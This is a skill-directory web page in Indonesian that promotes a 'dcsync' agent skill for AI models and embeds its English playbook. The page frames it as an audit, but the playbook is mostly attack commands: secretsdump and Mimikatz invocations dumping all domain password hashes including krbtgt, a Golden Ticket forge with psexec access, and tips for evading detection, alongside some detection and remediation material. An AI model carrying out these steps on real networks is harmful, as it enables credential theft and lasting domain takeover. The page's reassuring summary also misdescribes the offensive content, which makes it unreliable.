Langsung ke konten
Skillpedia
Keamanan6.5k ยท #13941

dcsync

Fungsinya

Skill ini membahas cara menemukan akun yang dapat menyalin data direktori dari domain controller dan mengapa ini berisiko jika diberikan kepada akun yang salah. Skill ini untuk staf keamanan yang mengaudit siapa saja yang memegang hak ini.

Kapan dipakai

  • โœ“Saat seorang penguji keamanan ingin mendaftar akun yang memegang hak replikasi di domain yang berwenang.
  • โœ“Ketika agent perlu membedakan pemegang hak ini yang normal dari yang tidak terduga.
  • โœ“Ketika laporan audit harus menjelaskan risiko hak replikasi yang diberikan berlebihan.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œAkun mana di domain uji kami yang berwenang memiliki hak replikasi yang seharusnya tidak mereka miliki?โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mengkueri data domain untuk akun dengan izin replikasi, membandingkannya dengan daftar yang diharapkan, lalu melaporkan yang tidak terduga.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

DCSync Playbook

DCSync is not a vulnerability โ€” it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.

1. Identify DCSync candidates

In a hosted engagement, inspect the authorized collection with bloodhound_mcp_exposure_finder and bloodhound_mcp_object_profile, or use bounded read-only bloodhound_mcp_cypher_query for a specific principal. Check data quality before treating absent edges as proof of no exposure. Standalone OSS may use its registered bhce_cypher tool instead.

Or Cypher direct:

MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)

Common holders (legitimate):

  • Domain Admins, Enterprise Admins, Domain Controllers
  • Exchange Trusted Subsystem (Exchange installs grant by default โ€” historical PrivExchange)
  • Replicator (rare)

Common holders (misconfig = jackpot):

  • Service accounts (admins delegated mistakenly)
  • Helpdesk groups
  • Groups from old migrations

2. Execute DCSync

Impacket (most reliable):

# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
  -outputfile /tmp/secrets

# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'

# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc

# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc

Mimikatz (from Windows):

lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv

3. Output files

secretsdump produces:

  • /tmp/secrets.ntds โ€” user:RID:LM_HASH:NT_HASH::: format
  • /tmp/secrets.ntds.kerberos โ€” Kerberos keys (aes256, aes128, des)
  • /tmp/secrets.ntds.cleartext โ€” any reversibly-encrypted passwords (rare, but yes)

4. Highest-value secrets to grab

User Why What unlocks
krbtgt Master Kerberos key Golden Ticket โ€” persistence + arbitrary user impersonation forever (until rotation)
Administrator Built-in domain admin Direct admin on most assets
Domain Admin members Lateral movement Most assets
<trustname>$ Trust accounts Cross-forest movement
Service accounts Often local admin on hosts Lateral movement
Exchange computer accounts Mailbox access E-discovery / pivot

5. Golden Ticket (post-DCSync)

With krbtgt NT hash:

ticketer.py -nthash KRBTGT_NT \
  -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \
  -domain 'dom.local' \
  Administrator
# Produces Administrator.ccache โ€” TGT for Administrator that lasts 10 years

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'DC@DC_FQDN'

6. Promote

kg_add_node(kind="credential", label="krbtgt:NT_HASH",
            props={"source":"dcsync","value":"<hash>"})
kg_add_node(kind="vulnerability", label="DCSync from <principal>",
            props={"severity":"critical"})
kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts")
kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises")

OPSEC

  • DCSync generates event 4662 on DCs with Properties: Replicating Directory Changes
  • Defender's high-signal detection (the only good DCSync detection)
  • BloodHound's :DS-Replication-Get-Changes GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • A single DCSync run, scoped to one user (-just-dc-user), produces less log volume than -just-dc
  • Use Kerberos auth (-k) instead of NTLM to avoid 4624 type-3 noise

Detection signature (so you know what blue sees)

EventCode=4662
ObjectType=domainDNS
Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
SubjectUserName != *$  (filter out DC computer accounts)

CVSS

  • DCSync available to non-DC principal: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • Already DA + DCSync: not a separate finding, just post-compromise activity

Defender remediation

# Audit current holders of replication rights
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |
  Select -ExpandProperty nTSecurityDescriptor |
  Select -ExpandProperty Access |
  Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove unauthorized holders via dsacls
dsacls "DC=dom,DC=local" /R "DOM\Bad
Pertanyaan umum

Apakah pengaturan hak ini merupakan bug?

Tidak. Skill menyatakan replikasi adalah fitur normal untuk domain controller, dan risikonya berasal dari akun tak terduga yang memegang hak tersebut.

Siapa yang biasanya memegang hak ini?

Skill mencantumkan grup seperti Domain Admins dan Domain Controllers sebagai pemegang yang umum.

Apakah skill menyatakan uji ini selalu diizinkan?

Tidak. Skill menyatakan bahwa uji replikasi tetap memerlukan izin khusus tersendiri.

Detail

Deskripsi asli dari pembuat

Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#13941
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa